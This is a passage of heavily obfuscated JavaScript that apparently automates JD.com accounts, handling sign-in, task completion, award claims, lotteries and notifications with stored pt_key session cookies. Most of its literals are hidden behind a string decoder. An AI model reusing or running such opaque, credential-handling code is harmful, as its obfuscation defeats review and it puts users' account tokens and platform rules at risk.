_0x4d3084(_0x1df13f);},'TBhpf':_0xb3c9('da','56Y['),'SmHOF':_0xb3c9('db','oJ7R'),'tlyCL':_0xb3c9('dc','BA!&'),'WxmOR':_0xb3c9('dd','Hi&L'),'cRaMs':function(_0x37229a,_0x4cdf0f){return _0x37229a(_0x4cdf0f);},'YDbmq':_0xb3c9('de','*IUv')};return new Promise(_0x550a64=>{var _0x34b09b={'XwSBS':function(_0x50b14e,_0x241ac2){return _0x38d83f[_0xb3c9('df','[XP5')](_0x50b14e,_0x241ac2);},'ZEWLx':function(_0x1a0462){return _0x38d83f[_0xb3c9('e0','xgMb')](_0x1a0462);},'VLpYC':_0x38d83f[_0xb3c9('e1','wR@t')],'dPeCj':_0x38d83f[_0xb3c9('e2','*IUv')],'SWrgS':_0x38d83f[_0xb3c9('e3','lVDY')],'yBQIC':function(_0x557ca7,_0x146986){return _0x38d83f[_0xb3c9('e4','px$D')](_0x557ca7,_0x146986);}};if(_0x38d83f[_0xb3c9('e5','bu#e')](_0x38d83f[_0xb3c9('e6','W%VK')],_0x38d83f[_0xb3c9('e7','xgMb')])){$[_0xb3c9('e8','O^Ux')](_0x38d83f[_0xb3c9('e9','sgNu')](taskUrl,_0x38d83f[_0xb3c9('ea','FlxD')]),async(_0x26ae56,_0x1d05d7,_0x1bd41a)=>{var _0x51545d={'wrwca':_0x38d83f[_0xb3c9('eb','Hi&L')],'OFICH':_0x38d83f[_0xb3c9('ec','vGPn')],'ifPfJ':function(_0x43bf62,_0x16feb2){return _0x38d83f[_0xb3c9('ed','wR@t')](_0x43bf62,_0x16feb2);},'TDYEX':_0x38d83f[_0xb3c9('ee','7hNk')]};try{if(_0x38d83f[_0xb3c9('ef','%YG$')](_0x38d83f[_0xb3c9('f0','wR@t')],_0x38d83f[_0xb3c9('f1','Tq0]')])){if(_0x26ae56){if(_0x38d83f[_0xb3c9('f2','4&jl')](_0x38d83f[_0xb3c9('f3','xgMb')],_0x38d83f[_0xb3c9('f4','BA!&')])){console[_0xb3c9('f5','KqoH')](''+JSON[_0xb3c9('f6','lVDY')](_0x26ae56));console[_0xb3c9('f7','BA!&')]($[_0xb3c9('f8','eg1*')]+_0xb3c9('f9','7hNk'));}else{console[_0xb3c9('fa','0XYQ')](''+JSON[_0xb3c9('fb','ST6I')](_0x26ae56));console[_0xb3c9('fc','4&jl')]($[_0xb3c9('fd','wR@t')]+_0xb3c9('fe','W%VK'));}}else{if(_0x38d83f[_0xb3c9('ff','0XYQ')](safeGet,_0x1bd41a)){_0x1bd41a=JSON[_0xb3c9('100','Us6T')](_0x1bd41a);if(_0x38d83f[_0xb3c9('101','FlxD')](_0x1bd41a[_0xb3c9('102','8Yzp')],0xc8)&&_0x1bd41a[_0xb3c9('103','RRYS')]){const {signIn,taskList}=_0x1bd41a[_0xb3c9('104','USUq')];if(!signIn)await _0x38d83f[_0xb3c9('105','Us6T')](sign);for(let _0x3ff5ad of taskList){if(_0x38d83f[_0xb3c9('106','ST6I')](_0x3ff5ad[_0x38d83f[_0xb3c9('107','Hi&L')]],0x1)){if(_0x38d83f[_0xb3c9('108','A&sp')](_0x3ff5ad[_0x38d83f[_0xb3c9('109','XZos')]],0x8)){console[_0xb3c9('f7','BA!&')](_0xb3c9('10a','UWcU'));await _0x38d83f[_0xb3c9('10b','XZos')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('10c','j]ox')]]);}else{if(_0x38d83f[_0xb3c9('10d','O^Ux')](_0x38d83f[_0xb3c9('10e','bu#e')],_0x38d83f[_0xb3c9('10f','USUq')])){let _0x1891d8=new Date()[_0xb3c9('110','8Yzp')]();let _0x10da03=_0x3ff5ad[_0xb3c9('111','kKc[')][_0xb3c9('112','oJ7R')]('~')[_0xb3c9('113','kKc[')](_0x3ff5ad=>Number(_0x3ff5ad));if(_0x10da03&&_0x38d83f[_0xb3c9('114','ST6I')](_0x10da03[_0xb3c9('115','XZos')],0x1)){if(_0x38d83f[_0xb3c9('116','xgMb')](_0x38d83f[_0xb3c9('117','54E@')],_0x38d83f[_0xb3c9('118','p8(G')])){if(_0x38d83f[_0xb3c9('119','Hi&L')](_0x10da03[0x0],_0x1891d8)&&_0x38d83f[_0xb3c9('11a','wR@t')](_0x1891d8,_0x10da03[0x1])){if(_0x38d83f[_0xb3c9('11b','bu#e')](_0x38d83f[_0xb3c9('11c','oJ7R')],_0x38d83f[_0xb3c9('11d',']q[h')])){console[_0xb3c9('11e','p8(G')](_0xb3c9('11f','USUq')+_0x3ff5ad[_0xb3c9('120','x1NV')]+_0xb3c9('121','kKc['));await _0x38d83f[_0xb3c9('122','kKc[')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('123','RRYS')]]);}else{_0x34b09b[_0xb3c9('124','54E@')](_0x550a64,_0x1bd41a);}}else{if(_0x38d83f[_0xb3c9('125','KqoH')](_0x38d83f[_0xb3c9('126','px$D')],_0x38d83f[_0xb3c9('127','A)dp')])){$[_0xb3c9('128','O^Ux')]($[_0xb3c9('129','UFS%')],_0x51545d[_0xb3c9('12a','UFS%')],_0x51545d[_0xb3c9('12b','eAka')],{'open-url':_0x51545d[_0xb3c9('12c','56Y[')]});return;}else{console[_0xb3c9('12d','56Y[')](_0xb3c9('12e','KqoH')+_0x1891d8+_0xb3c9('12f','8Yzp')+_0x3ff5ad[_0xb3c9('130','UWcU')]+_0xb3c9('131','D[D@'));}}}else{console[_0xb3c9('c0','QPLX')](''+JSON[_0xb3c9('132','[XP5')](_0x26ae56));console[_0xb3c9('133','#5oK')]($[_0xb3c9('134','UWcU')]+_0xb3c9('135','j]ox'));}}else{console[_0xb3c9('bb','UFS%')](_0xb3c9('136','j]ox'));}}else{console[_0xb3c9('137','wR@t')](''+JSON[_0xb3c9('138','USUq')](_0x26ae56));console[_0xb3c9('139','8Yzp')]($[_0xb3c9('2b','Hi&L')]+_0xb3c9('13a','*IUv'));}}await $[_0xb3c9('13b','eg1*')](0x7d0);}else if(_0x38d83f[_0xb3c9('13c','xgMb')](_0x3ff5ad[_0x38d83f[_0xb3c9('13d','O^Ux')]],0x3)&&_0x38d83f[_0xb3c9('13e','7hNk')](_0x3ff5ad[_0x38d83f[_0xb3c9('13f','%YG$')]],0x0)){await _0x38d83f[_0xb3c9('140','eAka')](awardRun);await $[_0xb3c9('9e','BA!&')](0x7d0);}else if(_0x38d83f[_0xb3c9('141','A)dp')](_0x3ff5ad[_0x38d83f[_0xb3c9('142','msFj')]],0x1f5)&&_0x38d83f[_0xb3c9('143','8^$1')](_0x3ff5ad[_0x38d83f[_0xb3c9('144','A)dp')]],0x0)){if(_0x38d83f[_0xb3c9('145','QPLX')](_0x38d83f[_0xb3c9('146','wR@t')],_0x38d83f[_0xb3c9('147','Us6T')])){await _0x38d83f[_0xb3c9('148','SI8%')](accomplishTask);await $[_0xb3c9('149','Tq0]')](0x3e8);await _0x38d83f[_0xb3c9('14a','[XP5')](awardTask);await $[_0xb3c9('14b','j]ox')](0x7d0);}else{$[_0xb3c9('14c','eg1*')](e,_0x1d05d7);}}else if(_0x38d83f[_0xb3c9('14d','UWcU')](_0x3ff5ad[_0xb3c9('14e','W%VK')],0x4)){console[_0xb3c9('f5','KqoH')](_0xb3c9('14f',']q[h')+_0x3ff5ad[_0xb3c9('150','pLk9')]);if(exchangeFlag&&_0x3ff5ad[_0xb3c9('151','bu#e')]){if(_0x38d83f[_0xb3c9('14d','UWcU')](_0x38d83f[_0xb3c9('152','UWcU')],_0x38d83f[_0xb3c9('153','D[D@')])){try{if(_0x51545d[_0xb3c9('154','lVDY')](typeof JSON[_0xb3c9('155','kKc[')](_0x1bd41a),_0x51545d[_0xb3c9('156','lVDY')])){return!![];}}catch(_0x584335){console[_0xb3c9('157','A&sp')](_0x584335);console[_0xb3c9('158','RRYS')](_0xb3c9('159','IV4a'));return![];}}else{console[_0xb3c9('15a','j]ox')](_0xb3c9('15b','7hNk'));await _0x38d83f[_0xb3c9('15c','BA!&')](exchange,_0x3ff5ad[_0xb3c9('151','bu#e')]);await $[_0xb3c9('15d','Us6T')](0x7d0);}}}else if([0x9][_0xb3c9('15e','px$D')](_0x3ff5ad[_0x38d83f[_0xb3c9('15f','O^Ux')]])&&_0x38d83f[_0xb3c9('160','*IUv')](_0x3ff5ad[_0x38d83f[_0xb3c9('107','Hi&L')]],0x0)){if(_0x38d83f[_0xb3c9('161','54E@')](_0x38d83f[_0xb3c9('162','QPLX')],_0x38d83f[_0xb3c9('163','x1NV')])){await _0x38d83f[_0xb3c9('164','XZos')](accomplishTask,_0x3ff5ad[_0x38d83f[_0xb3c9('165','[XP5')]]);await _0x38d83f[_0xb3c9('166','IV4a')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('167','eg1*')]]);await $[_0xb3c9('168','IV4a')](0x7d0);}else{message+=_0xb3c9('169','pLk9')+$['db']+_0xb3c9('16a','p8(G');if(!jdNotify){$[_0xb3c9('16b','*IUv')]($[_0xb3c9('16c','vGPn')],'',''+message);}else{$[_0xb3c9('16d','msFj')](_0xb3c9('16e','%YG$')+$[_0xb3c9('16f','FlxD')]+$[_0xb3c9('170','vGPn')]+'\x0a'+message);}_0x34b09b[_0xb3c9('171','*IUv')](_0x550a64);}}else if([0xa,0xb,0xc][_0xb3c9('172','p8(G')](_0x3ff5ad[_0x38d83f[_0xb3c9('173','BA!&')]])&&_0x38d83f[_0xb3c9('174','oJ7R')](_0x3ff5ad[_0x38d83f[_0xb3c9('175','4&jl')]],0x0)){for(let _0x169886=_0x3ff5ad[_0xb3c9('176','[XP5')];_0x38d83f[_0xb3c9('177','oJ7R')](_0x169886,_0x3ff5ad[_0xb3c9('178','eg1*')]);++_0x169886){console[_0xb3c9('a1','Us6T')](_0xb3c9('179','Hi&L')+_0x38d83f[_0xb3c9('17a','54E@')](_0x169886,0x1)+'/'+_0x3ff5ad[_0xb3c9('17b','UFS%')]+_0xb3c9('17c','D[D@'));await _0x38d83f[_0xb3c9('17d','eg1*')](accomplishTask,_0x3ff5ad[_0x38d83f[_0xb3c9('17e','BA!&')]]);await $[_0xb3c9('69','lVDY')](_0x38d83f[_0xb3c9('17f','A&sp')](0x5,0x3e8));}await _0x38d83f[_0xb3c9('180','oJ7R')](awardTask,_0x3ff5ad[_0x38d83f[_0xb3c9('181','#5oK')]]);await $[_0xb3c9('182','Hi&L')](0x7d0);}}}}}}else{$[_0xb3c9('183','Tq0]')]=_0x1bd41a[_0x34b09b[_0xb3c9('184','%YG$')]];for(let _0x323765 of $[_0xb3c9('185','j]ox')]){$[_0xb3c9('35','px$D')](_0x323765[_0x34b09b[_0xb3c9('186','Tq0]')]]+_0xb3c9('187','oJ7R')+_0x323765[_0x34b09b[_0xb3c9('188','0XYQ')]]+'】');}$[_0xb3c9('189','ST6I')]=$[_0xb3c9('18a','wR@t')][_0xb3c9('18b','pLk9')](_0x24c9fc=>!!_0x24c9fc&&(_0x24c9fc[_0xb3c9('18c','56Y[')][_0xb3c9('18d','x1NV')](0x0,0x6)===timeFormat()||_0x24c9fc[_0xb3c9('18e','RRYS')][_0xb3c9('18f','%YG$')](0x0,0x6)===timeFormat(Date[_0xb3c9('190','USUq')]()-0x18*0x3c*0x3c*0x3e8)));$[_0xb3c9('191','QPLX')]=$[_0xb3c9('192','Hi&L')][_0xb3c9('193','QPLX')](_0x53b209=>!!_0x53b209&&!_0x53b209[_0xb3c9('194','W%VK')][_0xb3c9('195','[XP5')]('京豆'));if($[_0xb3c9('196','A&sp')]&&$[_0xb3c9('197','xgMb')][_0xb3c9('198','[XP5')]){for(let _0x491c24 of $[_0xb3c9('199','%YG$')]){message+=_0x491c24[_0x34b09b[_0xb3c9('19a','pLk9')]]+_0xb3c9('19b','A)dp')+_0x491c24[_0x34b09b[_0xb3c9('19c','x1NV')]]+'】\x0a';}allMessage+=_0xb3c9('16e','%YG$')+$[_0xb3c9('19d','eAka')]+$[_0xb3c9('19e','msFj')]+'\x0a'+message+(_0x34b09b[_0xb3c9('19f','Xorc')]($[_0xb3c9('1a0','oJ7R')],cookiesArr[_0xb3c9('1a1','KqoH')])?'\x0a\x0a':'');}}}catch(_0x3b3941){$[_0xb3c9('1a2','msFj')](_0x3b3941,_0x1d05d7);}finally{_0x38d83f[_0xb3c9('1a3','#5oK')](_0x550a64,_0x1bd41a);}});}else{$[_0xb3c9('1a4','lVDY')](e,resp);}});}function getMyLotteryInformation(){var _0xf3e1f3={'AsPoC':function(_0x49252b,_0x31b037){return _0x49252b(_0x31b037);},'kSENu':_0xb3c9('1a5','Xorc'),'wJfiE':function(_0x5b9dd8,_0xac6a66){return _0x5b9dd8!==_0xac6a66;},'tCrNF':_0xb3c9('1a6','IV4a'),'FPSzy':function(_0x36557a,_0x2ae868){return _0x36557a!==_0x2ae868;},'oGTsy':_0xb3c9('1a7','8^$1'),'rFfnQ':_0xb3c9('1a8','BA!&'),'fIJLI':function(_0x21da6c,_0x400dd6){return _0x21da6c===_0x400dd6;},'IJyDJ':_0xb3c9('1a9','O^Ux'),'IPSYp':_0xb3c9('1aa','kKc['),'ApYFT':function(_0x2aba76,_0xf35dcb,_0xf899e5){return _0x2aba76(_0xf35dcb,_0xf899e5);},'FGdkT':_0xb3c9('1ab','lVDY'),'GWCZA':_0xb3c9('1ac','#5oK')};return new Promise(_0x48246a=>{var _0x1c6f4a={'qzlch':function(_0x581a2c,_0x11554a){return _0xf3e1f3[_0xb3c9('1ad','%YG$')](_0x581a2c,_0x11554a);},'ORQWt':_0xf3e1f3[_0xb3c9('1ae','54E@')],'NMbGY':function(_0x42cd5f,_0x472713){return _0xf3e1f3[_0xb3c9('1af','XZos')](_0x42cd5f,_0x472713);},'CKOHH':_0xf3e1f3[_0xb3c9('1b0','Xorc')],'svKuj':function(_0x1f7e3b,_0x1620f0){return _0xf3e1f3[_0xb3c9('1b1','eAka')](_0x1f7e3b,_0x1620f0);},'TeMAt':_0xf3e1f3[_0xb3c9('1b2','8Yzp')],'yliXg':_0xf3e1f3[_0xb3c9('1b3','FlxD')],'cjBnN':function(_0x24b87a,_0x924c97){return _0xf3e1f3[_0xb3c9('1b4','eAka')](_0x24b87a,_0x924c97);},'sVJNR':function(_0x5e6606,_0xb62a66){return _0xf3e1f3[_0xb3c9('1b5','12Q8')](_0x5e6606,_0xb62a66);},'DQWei':_0xf3e1f3[_0xb3c9('1b6','KqoH')]};if(_0xf3e1f3[_0xb3c9('1b7','px$D')](_0xf3e1f3[_0xb3c9('1b8','bu#e')],_0xf3e1f3[_0xb3c9('1b9','D[D@')])){_0x1c6f4a[_0xb3c9('1ba','0XYQ')](_0x48246a,data);}else{$[_0xb3c9('1bb','sgNu')](_0xf3e1f3[_0xb3c9('1bc','FlxD')](taskPostUrl,_0xf3e1f3[_0xb3c9('1bd','#5oK')],_0xf3e1f3[_0xb3c9('1be','A)dp')]),async(_0x1245bc,_0x23bd67,_0x1c7f4e)=>{try{if(_0x1245bc){if(_0x1c6f4a[_0xb3c9('1bf','%YG$')](_0x1c6f4a[_0xb3c9('1c0','USUq')],_0x1c6f4a[_0xb3c9('1c1','FlxD')])){$[_0xb3c9('1c2','%YG$')]=_0x1c7f4e[_0x1c6f4a[_0xb3c9('1c3','O^Ux')]][_0xb3c9('1c4','A)dp')];}else{console[_0xb3c9('84','x1NV')](''+JSON[_0xb3c9('1c5','8Yzp')](_0x1245bc));console[_0xb3c9('137','wR@t')]($[_0xb3c9('fd','wR@t')]+_0xb3c9('1c6','BA!&'));}}else{if(_0x1c6f4a[_0xb3c9('1c7','wR@t')](_0x1c6f4a[_0xb3c9('1c8','W%VK')],_0x1c6f4a[_0xb3c9('1c9','QPLX')])){if(_0x1c6f4a[_0xb3c9('1ca','A)dp')](safeGet,_0x1c7f4e)){_0x1c7f4e=JSON[_0xb3c9('1cb','SI8%')](_0x1c7f4e);if(_0x1c6f4a[_0xb3c9('1cc','8Yzp')](_0x1c7f4e[_0xb3c9('1cd','Xorc')],0xc8)&&_0x1c7f4e[_0xb3c9('1ce','Hi&L')]){let _0x1a0eab=_0x1c7f4e[_0xb3c9('1cf','sgNu')][_0xb3c9('1d0','[XP5')](_0x239fe0=>_0x239fe0[_0xb3c9('1d1','%YG$')]===0x2);for(let _0xa84e3f of _0x1a0eab){console[_0xb3c9('137','wR@t')](_0xb3c9('1d2','D[D@')+_0xa84e3f[_0xb3c9('1d3','7hNk')]+_0xb3c9('1d4','eg1*'));await _0x1c6f4a[_0xb3c9('1d5','A&sp')](getLotteryDetailsByActivityId,_0xa84e3f[_0xb3c9('1d6','eg1*')]);await $[_0xb3c9('1d7','kKc[')](0x3e8);}}}}else{$[_0xb3c9('1d8','12Q8')](e,_0x23bd67);}}}catch(_0x1e298f){$[_0xb3c9('1d9','Tq0]')](_0x1e298f,_0x23bd67);}finally{if(_0x1c6f4a[_0xb3c9('1da','54E@')](_0x1c6f4a[_0xb3c9('1db','j]ox')],_0x1c6f4a[_0xb3c9('1dc','eAka')])){_0x1c6f4a[_0xb3c9('1dd','W%VK')](_0x48246a,_0x1c7f4e);}else{$[_0xb3c9('1de','[XP5')]=[];}}});}});}function getLotteryDetailsByActivityId(_0x3932c6){var _0xfd4038={'BoPpf':function(_0x2e49cb,_0x51b2d8){return _0x2e49cb+_0x51b2d8;},'ZauCl':function(_0x23059e,_0xe46d7c){return _0x23059e+_0xe46d7c;},'oOJNL':_0xb3c9('1df','%YG$'),'vYPHC':_0xb3c9('1e0','Us6T'),'ZBioM':_0xb3c9('1e1','12Q8'),'CFiPx':_0xb3c9('1e2','54E@'),'VAizC':_0xb3c9('1e3','Tq0]'),'TfiYB':_0xb3c9('1e4','8Yzp'),'AuAhD':function(_0x463101,_0x273336){return _0x463101===_0x273336;},'YNtPZ':_0xb3c9('1e5','[XP5'),'WeAkB':_0xb3c9('1e6','UFS%'),'BIIdw':_0xb3c9('1e7','56Y['),'spNDd':_0xb3c9('1e8','0XYQ'),'sUTaN':function(_0x528065,_0x52d13a){return _0x528065(_0x52d13a);},'HNvQi':_0xb3c9('1e9','KqoH'),'hxzyR':_0xb3c9('1ea',']q[h'),'bFfbY':function(_0xa3a6ba,_0xcec6a){return _0xa3a6ba(_0xcec6a);},'bckDV':_0xb3c9('1eb','4&jl'),'SKJtS':_0xb3c9('1ec','vGPn'),'avpBX':function(_0x33a037,_0x84ea5e){return _0x33a037!==_0x84ea5e;},'FWciS':_0xb3c9('1ed','eg1*'),'IUrgu':_0xb3c9('1ee','FlxD'),'ACvTv':_0xb3c9('1ef','8^$1'),'WfRLq':function(_0x165bc9,_0x5b785a,_0xa51f86){return _0x165bc9(_0x5b785a,_0xa51f86);},'JPlID':_0xb3c9('1f0','8Yzp')};return new Promise(_0x44f46f=>{var _0x810e98={'gGsfn':function(_0x5adb14,_0x19f54e){return _0xfd4038[_0xb3c9('1f1','XZos')](_0x5adb14,_0x19f54e);},'aQkcJ':function(_0x5d3c07,_0x202d01){return _0xfd4038[_0xb3c9('1f2','A&sp')](_0x5d3c07,_0x202d01);},'puLcA':_0xfd4038[_0xb3c9('1f3','ST6I')],'AZiPJ':_0xfd4038[_0xb3c9('1f4','Tq0]')],'NQZZs':_0xfd4038[_0xb3c9('1f5','Xorc')],'zlldX':_0xfd4038[_0xb3c9('1f6','Hi&L')],'HUHEN':_0xfd4038[_0xb3c9('1f7','KqoH')],'xGpsu':_0xfd4038[_0xb3c9('1f8','p8(G')],'hRANk':function(_0x68520f,_0x58a381){return _0xfd4038[_0xb3c9('1f9','4&jl')](_0x68520f,_0x58a381);},'cAjCh':_0xfd4038[_0xb3c9('1fa','%YG$')],'RWZpK':_0xfd4038[_0xb3c9('1fb','sgNu')],'sLWki':_0xfd4038[_0xb3c9('1fc','UFS%')],'aylMy':_0xfd4038[_0xb3c9('1fd','O^Ux')],'glzlb':function(_0x3c16fe,_0x330350){return _0xfd4038[_0xb3c9('1fe','A)dp')](_0x3c16fe,_0x330350);},'mJJvb':function(_0x260e5e,_0x3c3f70){return _0xfd4038[_0xb3c9('1ff','vGPn')](_0x260e5e,_0x3c3f70);},'YkwGr':_0xfd4038[_0xb3c9('200','SI8%')],'JCFiY':_0xfd4038[_0xb3c9('201','56Y[')],'ABgFb':function(_0x4a4650,_0x56ccde){return _0xfd4038[_0xb3c9('202','Hi&L')](_0x4a4650,_0x56ccde);},'YzgXz':function(_0x4929fb,_0x25eba8){return _0xfd4038[_0xb3c9('203','sgNu')](_0x4929fb,_0x25eba8);},'nYJQY':_0xfd4038[_0xb3c9('204','RRYS')],'HmgQx':_0xfd4038[_0xb3c9('205','IV4a')],'qqoUK':function(_0x4f4139,_0x68c6f9){return _0xfd4038[_0xb3c9('206','[XP5')](_0x4f4139,_0x68c6f9);},'GdabU':_0xfd4038[_0xb3c9('207','oJ7R')],'jmsDn':function(_0x36beff,_0x181997){return _0xfd4038[_0xb3c9('208','FlxD')](_0x36beff,_0x181997);},'JxPwJ':_0xfd4038[_0xb3c9('209','D[D@')],'iCpKC':_0xfd4038[_0xb3c9('20a','A&sp')]};$[_0xb3c9('20b','oJ7R')](_0xfd4038[_0xb3c9('20c','7hNk')](taskPostUrl,_0xfd4038[_0xb3c9('20d','Tq0]')],_0xb3c9('20e','wR@t')+_0x3932c6),async(_0x42f843,_0x62cbaf,_0x164943)=>{var _0x14011c={'REwMe':function(_0x37679d,_0x552a49){return _0x810e98[_0xb3c9('20f','lVDY')](_0x37679d,_0x552a49);},'zYXCK':_0x810e98[_0xb3c9('210','54E@')],'VPRRp':_0x810e98[_0xb3c9('211','7hNk')]};try{if(_0x42f843){if(_0x810e98[_0xb3c9('212','Hi&L')](_0x810e98[_0xb3c9('213','[XP5')],_0x810e98[_0xb3c9('214','A&sp')])){_0x164943=JSON[_0xb3c9('83','eg1*')](_0x164943);if(_0x14011c[_0xb3c9('215','j]ox')](_0x164943[_0x14011c[_0xb3c9('216','oJ7R')]],0xd)){$[_0xb3c9('54','54E@')]=![];return;}if(_0x14011c[_0xb3c9('217','vGPn')](_0x164943[_0x14011c[_0xb3c9('218','12Q8')]],0x0)){$[_0xb3c9('5a','A)dp')]=_0x164943[_0x14011c[_0xb3c9('219','p8(G')]][_0xb3c9('21a','SI8%')];}else{$[_0xb3c9('21b','oJ7R')]=$[_0xb3c9('21c','IV4a')];}}else{console[_0xb3c9('21d','IV4a')](''+JSON[_0xb3c9('21e','12Q8')](_0x42f843));console[_0xb3c9('37','eg1*')]($[_0xb3c9('21f','Tq0]')]+_0xb3c9('220','vGPn'));}}else{if(_0x810e98[_0xb3c9('221','eg1*')](safeGet,_0x164943)){_0x164943=JSON[_0xb3c9('222','A)dp')](_0x164943);if(_0x810e98[_0xb3c9('223','4&jl')](_0x164943[_0xb3c9('224','[XP5')],0xc8)&&_0x164943[_0xb3c9('225','j]ox')]){if(_0x164943[_0xb3c9('226','ST6I')][_0xb3c9('227','D[D@')]){if(_0x810e98[_0xb3c9('228','bu#e')](_0x810e98[_0xb3c9('229','bu#e')],_0x810e98[_0xb3c9('22a','x1NV')])){console[_0xb3c9('3e','pLk9')](_0xb3c9('22b','UWcU')+_0x164943[_0xb3c9('22c','sgNu')]);}else{if(!_0x164943[_0xb3c9('104','USUq')][_0xb3c9('22d','56Y[')]){console[_0xb3c9('3e','pLk9')](_0xb3c9('22e','XZos'));await _0x810e98[_0xb3c9('22f','12Q8')](receiveOtherAwards,_0x3932c6);}else{if(_0x810e98[_0xb3c9('230','RRYS')](_0x810e98[_0xb3c9('231','0XYQ')],_0x810e98[_0xb3c9('232','pLk9')])){if(!cookie[_0xb3c9('90','SI8%')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('77','8^$1')](_0xb3c9('233','Hi&L'));let _0x46b9db=cookie[_0xb3c9('234','8^$1')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x104c04=(+new Date())[_0xb3c9('235','Xorc')]();let _0x4428c6=$[_0xb3c9('236','ST6I')](_0x810e98[_0xb3c9('237','sgNu')](_0x810e98[_0xb3c9('238','eg1*')](_0x810e98[_0xb3c9('239',']q[h')](_0x46b9db,_0x810e98[_0xb3c9('23a','j]ox')]),function_id),_0x104c04));return{'url':''+JD_API_HOST+function_id,'body':body,'headers':{'Host':_0x810e98[_0xb3c9('23b','kKc[')],'pt-key':_0x46b9db,'Accept':_0x810e98[_0xb3c9('23c','msFj')],'time':_0x104c04[_0xb3c9('23d','A&sp')](),'source':'1','Referer':_0x810e98[_0xb3c9('23e','%YG$')],'Content-Type':_0x810e98[_0xb3c9('23f','Hi&L')],'sig':_0x4428c6,'User-Agent':_0x810e98[_0xb3c9('240','msFj')]}};}else{console[_0xb3c9('13','7hNk')](_0xb3c9('241','j]ox'));}}}}else{console[_0xb3c9('133','#5oK')](_0xb3c9('242','[XP5'));}}}}}catch(_0x48ad7b){if(_0x810e98[_0xb3c9('243','eAka')](_0x810e98[_0xb3c9('244','*IUv')],_0x810e98[_0xb3c9('245','lVDY')])){console[_0xb3c9('246','USUq')](_0xb3c9('247','*IUv')+_0x164943[_0xb3c9('248','Xorc')]);}else{$[_0xb3c9('249','8Yzp')](_0x48ad7b,_0x62cbaf);}}finally{if(_0x810e98[_0xb3c9('24a','W%VK')](_0x810e98[_0xb3c9('24b','8Yzp')],_0x810e98[_0xb3c9('24c','#5oK')])){exchangeFlag=process[_0xb3c9('24d','XZos')][_0xb3c9('24e','px$D')]||exchangeFlag;}else{_0x810e98[_0xb3c9('24f','O^Ux')](_0x44f46f,_0x164943);}}});});}function receiveOtherAwards(_0x4de34e){var _0x37570d={'nmKnz':function(_0x333432,_0x58c8ca){return _0x333432+_0x58c8ca;},'GuhZM':function(_0xabe8fc,_0x164cd){return _0xabe8fc+_0x164cd;},'iXScx':function(_0x6fc1e,_0x478279){return _0x6fc1e>=_0x478279;},'SvHKw':function(_0x4b0ba4,_0x25468b){return _0x4b0ba4+_0x25468b;},'GNbKW':function(_0x249e20,_0x27797){return _0x249e20+_0x27797;},'kMQwi':function(_0x3210e4,_0x12f7d9){return _0x3210e4===_0x12f7d9;},'iRdNc':_0xb3c9('250','D[D@'),'Ufakt':function(_0x2ef40d,_0x403486){return _0x2ef40d!==_0x403486;},'tKXNG':_0xb3c9('251','#5oK'),'mwpDN':_0xb3c9('252','#5oK'),'GUsDr':function(_0x50e9ec,_0x23969e){return _0x50e9ec(_0x23969e);},'OjwZR':_0xb3c9('253','sgNu'),'cfOSN':_0xb3c9('254','%YG$'),'nBWDT':function(_0x2ef544,_0x4c996e){return _0x2ef544===_0x4c996e;},'AxvxV':_0xb3c9('255','IV4a'),'jKocl':_0xb3c9('256','j]ox'),'bCQpn':function(_0x52acde,_0x510e5e,_0x5d0934){return _0x52acde(_0x510e5e,_0x5d0934);},'UUhAq':_0xb3c9('257','pLk9')};return new Promise(_0x44860a=>{$[_0xb3c9('258','0XYQ')](_0x37570d[_0xb3c9('259','W%VK')](taskPostUrl,_0x37570d[_0xb3c9('25a','wR@t')],_0xb3c9('25b','x1NV')+_0x4de34e+_0xb3c9('25c','eAka')),async(_0x2075cf,_0x4073f1,_0x52b4c7)=>{var _0x4c9d1a={'VeJzV':function(_0x11412e,_0xe5585c){return _0x37570d[_0xb3c9('25d','8^$1')](_0x11412e,_0xe5585c);},'QfUEK':function(_0x547a32,_0x36e484){return _0x37570d[_0xb3c9('25e','bu#e')](_0x547a32,_0x36e484);},'OWnaA':function(_0x5f316b,_0x450bc8){return _0x37570d[_0xb3c9('25f','Us6T')](_0x5f316b,_0x450bc8);},'VejeL':function(_0xe10639,_0x363380){return _0x37570d[_0xb3c9('260','kKc[')](_0xe10639,_0x363380);},'SKZTq':function(_0x486ada,_0x34f422){return _0x37570d[_0xb3c9('261','xgMb')](_0x486ada,_0x34f422);},'inazf':function(_0x25cd32,_0x39801f){return _0x37570d[_0xb3c9('262','A&sp')](_0x25cd32,_0x39801f);}};if(_0x37570d[_0xb3c9('263','BA!&')](_0x37570d[_0xb3c9('264','lVDY')],_0x37570d[_0xb3c9('265','0XYQ')])){try{if(_0x2075cf){if(_0x37570d[_0xb3c9('266','%YG$')](_0x37570d[_0xb3c9('267','pLk9')],_0x37570d[_0xb3c9('268','FlxD')])){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('269','QPLX')](_0x2075cf));console[_0xb3c9('26a',']q[h')]($[_0xb3c9('2b','Hi&L')]+_0xb3c9('220','vGPn'));}else{let _0x237b16;if(time){_0x237b16=new Date(time);}else{_0x237b16=new Date();}return _0x4c9d1a[_0xb3c9('26b','vGPn')](_0x4c9d1a[_0xb3c9('26c','msFj')](_0x4c9d1a[_0xb3c9('26d','j]ox')](_0x4c9d1a[_0xb3c9('26e','UWcU')](_0x4c9d1a[_0xb3c9('26f','56Y[')](_0x237b16[_0xb3c9('270','xgMb')](),0x1),0xa)?_0x4c9d1a[_0xb3c9('271','A)dp')](_0x237b16[_0xb3c9('272','W%VK')](),0x1):_0x4c9d1a[_0xb3c9('273','KqoH')]('0',_0x4c9d1a[_0xb3c9('274','8^$1')](_0x237b16[_0xb3c9('275','8Yzp')](),0x1)),'月'),_0x4c9d1a[_0xb3c9('276','USUq')](_0x237b16[_0xb3c9('277','BA!&')](),0xa)?_0x237b16[_0xb3c9('278','O^Ux')]():_0x4c9d1a[_0xb3c9('279','px$D')]('0',_0x237b16[_0xb3c9('27a','sgNu')]())),'日');}}else{if(_0x37570d[_0xb3c9('27b','12Q8')](safeGet,_0x52b4c7)){if(_0x37570d[_0xb3c9('27c','lVDY')](_0x37570d[_0xb3c9('27d','XZos')],_0x37570d[_0xb3c9('27e','sgNu')])){console[_0xb3c9('c5','O^Ux')](_0xb3c9('27f','56Y[')+hour+_0xb3c9('280','*IUv')+vo[_0xb3c9('281','bu#e')]+_0xb3c9('282','0XYQ